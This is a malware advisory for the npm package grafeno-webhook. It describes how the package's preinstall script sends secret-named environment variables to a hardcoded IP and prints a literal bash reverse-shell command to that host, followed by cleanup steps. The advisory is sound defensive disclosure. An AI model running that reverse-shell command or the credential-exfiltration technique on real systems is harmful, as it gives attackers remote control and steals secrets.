MAL-2026-15573 Malicious code in grafeno-webhook (npm)
Malicious package
Published
MAL-2026-15573 is a malicious package: grafeno-webhook (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-15573/ (Markdown: https://insights.sbomify.com/MAL-2026-15573/index.md)
- Package
- grafeno-webhook
- Registry
- npm
What is MAL-2026-15573?
MAL-2026-15573 is a malicious package in grafeno-webhook, published on 29 Aug 2026.
Official description
The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.
What should I do about MAL-2026-15573?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.